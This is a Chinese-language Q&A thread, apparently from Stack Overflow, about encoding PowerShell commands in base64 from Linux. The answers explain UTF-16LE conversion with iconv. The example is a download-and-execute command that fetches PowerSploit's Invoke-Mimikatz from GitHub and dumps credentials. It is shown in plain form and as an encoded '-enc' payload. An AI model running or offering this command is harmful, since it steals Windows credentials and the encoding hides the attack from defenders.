【问题标题】:Powershell base64 encoding required需要 Powershell base64 编码
【发布时间】:2019-04-15 14:00:13
【问题描述】:

我想在 powershell 中执行 base64 编码的命令。例如,我从这个 github repo 中获取了一个命令:https://gist.github.com/gfoss/ca6aa37f97fd400ff14f。运行 mimikatz one:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

如果我直接在 powershell 提示符下运行它,它可以正常工作。检查base64编码的版本,我发现它也可以正常工作:

powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

但是,我不确定该字符串是如何编码的。如果我尝试在 Linux 中对其进行编码,我会得到一个不同的字符串(我只是更改了引号以防止 bash 解释 $):

echo -e 'IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/Powe
rSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds; $m' | openssl enc -base64 -A

SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vUG93ZXJTaGVsbE1hZmlhL1Bvd2VyU3Bsb2l0L21hc3Rlci9FeGZpbHRyYXRpb24vSW52b2tlLU1pbWlrYXR6LnBzMSIpOyAkbSA9IEludm9rZS1NaW1pa2F0eiAtRHVtcENyZWRzOyAkbQo=

当我尝试使用 powershell -enc 运行时,此编码失败。

我应该使用什么编码来使字符串与 powershell 完全兼容?

【问题讨论】:

    标签: bash powershell base64


    【解决方案1】:

    PowerShell 期望 base64 字符串为 Unicode 编码 - 而 Unicode 是用于 little-endian UTF-16 的 Windows 语言。

    如果您需要在不访问 .NET 的情况下从 linux shell 编码 PowerShell 命令,可以使用 iconv 转换为 UTF-16LE

    iconv -f ASCII -t UTF-16LE filename.txt |base64 -w 0
    

    【讨论】:

    • 确实(+1);使其适应通过标准输入提供字符串:printf %s '...' | iconv -t UTF-16LE | base64 -w 0.
    • iconv -f ASCII -t UTF-16LE <(echo "Write-Host 'wassup!'") |base64 -w 0 如果你只是想在 cli 中放一个字符串
    • 是的,但是在这里使用进程替换而不是管道没有任何优势此外,请避免使用echo 以防止出现以- 开头的shell 和字符串之间的行为变化问题。最后一点:echo 附加一个尾随换行符,这在此处无关紧要,但在其他情况下可能。
    • PS:如果不需要额外的尾随换行符,bashkshzsh 中最简单的解决方案(但不是 POSIX-features-only shell,例如 dash ) 是使用here-string: iconv -f ASCII -t UTF-16LE <<<"Write-Host 'wassup!'"
    • 谢谢,这太棒了。我不得不在 powershell 命令中使用双引号并将所有内容都用单引号括起来,以防止 bash 解释特殊字符(例如 $)。用于生成有效负载的最终命令是: iconv -f ASCII -t UTF-16LE raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/…); $m = Invoke-Mimikatz -DumpCr eds ; $m' | base64 -w 0
    【解决方案2】:

    使用 powershell 示例中的一个?

    [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("command_goes_here"))
    

    【讨论】:

    • 但是我需要从 Linux 机器上对其进行编码,而不是本机。我猜它与编码有关。
    • 此外,我刚刚尝试过,它也没有那样工作。 (代码太长,无法在回复中发布,但它失败了 The term '=' is not identify as the name of a cmdlet, function, script file, or operable program. 检查名称的拼写,或者如果包含路径,验证路径是否正确,然后重试。在 line:1 char:154" )
    猜你喜欢
    • 1970-01-01
    • 2023-03-16
    • 1970-01-01
    • 1970-01-01
    • 2019-10-04
    • 1970-01-01
    • 1970-01-01
    • 2020-09-06
    • 2021-10-31
    相关资源
    最近更新 更多